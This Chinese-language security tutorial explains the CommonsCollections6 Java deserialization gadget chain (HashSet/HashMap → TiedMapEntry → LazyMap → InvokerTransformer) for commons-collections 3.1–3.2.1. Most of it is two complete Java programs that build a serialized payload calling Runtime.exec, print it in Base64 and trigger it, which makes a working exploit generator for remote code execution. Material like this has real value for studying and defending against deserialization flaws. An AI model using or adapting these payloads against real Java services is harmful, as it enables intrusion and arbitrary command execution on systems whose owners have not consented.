利用说明

依赖版本

commons-collections : 3.1-3.2.1

jdk1.7 & jdk1.8

利用链

  1. HashSet.readObject()/HashMap.readObject()
  2. HashMap.put()
  3. HashMap.hash()
  4. TiedMapEntry.hashCode()
  5. LazyMap.get()
  6. ChainedTransformer.transform()
  7. InvokerTransformer.transform()

总结

  • 反序列化HashMap或者HashSet, 调用 TiedMapEntry 的 hashcode 方法,接着调用了 LazyMap 的 get 方法,触发了后续的 Transformer 恶意执行链。

前置知识

HashSet

HashSet 是一个无序的,不允许有重复元素的集合。HashSet 本质上就是由 HashMap 实现的。HashSet 中的元素都存放在 HashMap 的 key 上面,而 value 中的值都是统一的一个private static final Object PRESENT = new Object();。HashSet 跟 HashMap 一样,都是一个存放链表的数组。

在 HashSet 的 readObject 方法中,会调用其内部 HashMap 的 put 方法,将值放在 key 上。

CC6 - 图1

TiedMapEntry

通过文章开头的调用链可用发现,调用链后边的部分其实和CC1没有差别,区别就是 LazyMap#get()调用被改掉了。

因为CC1在8u71之后就不能用了,就是因为 LazyMap#get()调用被改掉了。所以需要找新的触发 LazyMap#get()的方式。

CC6 - 图2

在这个类中的getValue方法中我们可以看到调用了get方法。

而getValue又被hashCode调用

CC6 - 图3

HashMap

我们在HashMap的readObject中发现了hash调用

CC6 - 图4

其中就有任意类的hashCode调用

CC6 - 图5

攻击构造

所以这个CC6有两种构造方式,一种是以HashSet为起点的,一种是HashMap为起点的。

首先是LazyMap和HashMap的方式

  1. import java.io.*;
  2. import java.lang.annotation.Retention;
  3. import java.lang.reflect.Constructor;
  4. import java.lang.reflect.InvocationHandler;
  5. import java.lang.reflect.InvocationTargetException;
  6. import java.util.Base64;
  7. import java.util.HashMap;
  8. import java.util.HashSet;
  9. import java.util.Map;
  10. import org.apache.commons.collections.Transformer;
  11. import org.apache.commons.collections.functors.ChainedTransformer;
  12. import org.apache.commons.collections.functors.ConstantTransformer;
  13. import org.apache.commons.collections.functors.InvokerTransformer;
  14. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  15. import org.apache.commons.collections.map.LazyMap;
  16. import org.apache.commons.collections.map.TransformedMap;
  17. public class CC6 {
  18. public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
  19. ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
  20. new ConstantTransformer(Runtime.class),
  21. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  22. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  23. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  24. });
  25. HashMap hashMap = new HashMap();
  26. Map lazyMap = LazyMap.decorate(hashMap, chain);
  27. TiedMapEntry tme = new TiedMapEntry(lazyMap, "keykey");
  28. HashMap hashMap1 = new HashMap();
  29. hashMap1.put(tme,"value");
  30. lazyMap.clear();
  31. ByteArrayOutputStream barr = new ByteArrayOutputStream();
  32. ObjectOutputStream oos = new ObjectOutputStream(barr);
  33. oos.writeObject(hashMap1);
  34. oos.close();
  35. // System.out.println(barr);
  36. System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
  37. ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
  38. Object o = (Object)ois.readObject();
  39. }
  40. }

然后可以在HashMap之外简单的嵌套一层HashSet即可成为HashSet为起点的链子。

根据前置知识的HashSet,HashSet的readObject方法中会将值放在key上。所以重点就是

CC6 - 图6

  1. import java.io.*;
  2. import java.lang.annotation.Retention;
  3. import java.lang.reflect.Constructor;
  4. import java.lang.reflect.InvocationHandler;
  5. import java.lang.reflect.InvocationTargetException;
  6. import java.util.Base64;
  7. import java.util.HashMap;
  8. import java.util.HashSet;
  9. import java.util.Map;
  10. import org.apache.commons.collections.Transformer;
  11. import org.apache.commons.collections.functors.ChainedTransformer;
  12. import org.apache.commons.collections.functors.ConstantTransformer;
  13. import org.apache.commons.collections.functors.InvokerTransformer;
  14. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  15. import org.apache.commons.collections.map.LazyMap;
  16. import org.apache.commons.collections.map.TransformedMap;
  17. public class CommonCollection6 {
  18. public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
  19. ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
  20. new ConstantTransformer(Runtime.class),
  21. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  22. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  23. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  24. });
  25. HashMap hashMap = new HashMap();
  26. Map lazymap = LazyMap.decorate(hashMap, chain);
  27. TiedMapEntry tme = new TiedMapEntry(lazymap, "keykey");
  28. HashSet hashSet = new HashSet(1);
  29. hashSet.add(tme);
  30. lazymap.clear();
  31. ByteArrayOutputStream barr = new ByteArrayOutputStream();
  32. ObjectOutputStream oos = new ObjectOutputStream(barr);
  33. oos.writeObject(hashSet);
  34. oos.close();
  35. // System.out.println(barr);
  36. System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
  37. ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
  38. Object o = (Object)ois.readObject();
  39. }
  40. }